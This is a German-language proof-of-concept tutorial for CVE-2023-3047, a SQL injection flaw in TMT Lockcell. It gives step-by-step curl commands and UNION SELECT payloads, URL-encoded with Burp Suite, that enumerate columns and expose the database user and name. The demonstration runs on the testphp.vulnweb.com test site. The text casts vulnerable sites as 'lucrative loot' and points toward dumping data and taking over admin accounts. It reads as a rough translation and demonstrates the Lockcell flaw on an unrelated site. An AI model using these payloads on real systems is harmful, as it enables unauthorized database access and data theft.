
Proof-of-Concept-Exploit für CVE-2023-3047 SQL-Injection-Schwachstelle in TMT Lockcell. Demonstriert manuelle Ausnutzung mittels cURL und Burp Suite zum Aufzählen von Datenbankbenutzern und Schemata.
@ghostman_s3c or @Chrome202417L22i227Keet23QCNaeCyrQ6xfiTQpQJ5Unsachgemäße Neutralisierung von speziellen Elementen in einem SQL-Befehl (SQL-Injection-Schwachstelle) in TMT Lockcell ermöglicht SQL-Injection. Dieses Problem betrifft Lockcell: vor Version 15.
Zuerst prüfen wir, ob der Fehler CVE-2023-3047 vorliegt. Öffnen Sie ein Terminal und stellen Sie sicher, dass jedes Terminal das cURL-Tool unterstützt.
curl <your_url_vulnerable> | grep "at line"
nach der Eingabe, und wenn es anzeigt als 100 4976 0 4 --:--:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 dann leidet Ihre Website unter dem Fehler CVE-2023-3047
ok, als nächstes versuchen wir zu sehen, ob diese Website diese Injektionsangriffe blockiert. Versuchen Sie den folgenden Befehl und probieren Sie es
curl <your_url_vulnerable>+Union+Select+1,2,3--+- | grep "The used SELECT"
und Enter, wenn es wie im Bild unten angezeigt wird, dann haben Sie eine lukrative Beute
Und jetzt sollten Sie das Union-Select-Payload von 1 bis zu einer bestimmten Zahl fortsetzen, die als gültig für die Spaltennummer der MySQL-Website gilt.
ok, mein Ziel hat eine gültige Spaltennummer von 1 bis 11. Im Bild unten gibt es zwei völlig unterschiedliche Ergebnisse, oben gibt es immer noch "The used SELECT", unten nicht.
Und jetzt gehe ich zu Google und überprüfe, ob es mit den obigen Ergebnissen übereinstimmt oder nicht, und praktischerweise erhalte ich eine andere Zahl, aus der ich Informationen gewinnen kann.
Nun, es scheint ein völlig gültiges Ergebnis zu sein, und es gibt 3 Zahlen, die wir injizieren können, um Informationen zu erhalten.
und jetzt üben wir das Injizieren von SQL-Befehlen, um daraus Informationen zu gewinnen
und wir verwenden Payload : +Union+Select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+-
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+- | grep "::"
o oh, es scheint, dieser Befehl ist nicht sehr gut, weil wir das Payload nicht in eine URL kodiert haben
und jetzt ist meine Aufgabe, dieses Payload in einen URL-Pfad zu kodieren, um den Cyberangriff fortzusetzen
Wir verwenden Burp Suite, um sie zu kodieren
Wählen Sie nun Decoder, dann wählen Sie Encode as auf der linken Seite des Bildschirms, dann wählen Sie URL und geben Sie Ihr Payload ein. Was meinen obigen Fehler betrifft, er enthält Sonderzeichen wie : (,) usw., die nicht ausreichen, um die Anforderungen zu erfüllen, also werde ich nur den Befehl zum Einfügen kodieren, um Datenbankinformationen zu erhalten
CONCAT(user(),'::',database())
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,<encode_path_here>,8,9,10,11--+- | grep "::"
und nach der Eingabe, und das ist das Ende des Spiels, der Benutzername und die Datenbank wurden offengelegt. Nicht nur das, Hacker können andere Payloads injizieren, um weitere Informationen von ihnen zu erhalten, zum Beispiel das Dumping der Basisdaten, um Informationen zu stehlen oder die Kontrolle über den Website-Admin zu erlangen
Also, das Spiel ist vorbei, der Benutzername ist acuart@localhost und der Datenbankname ist acuart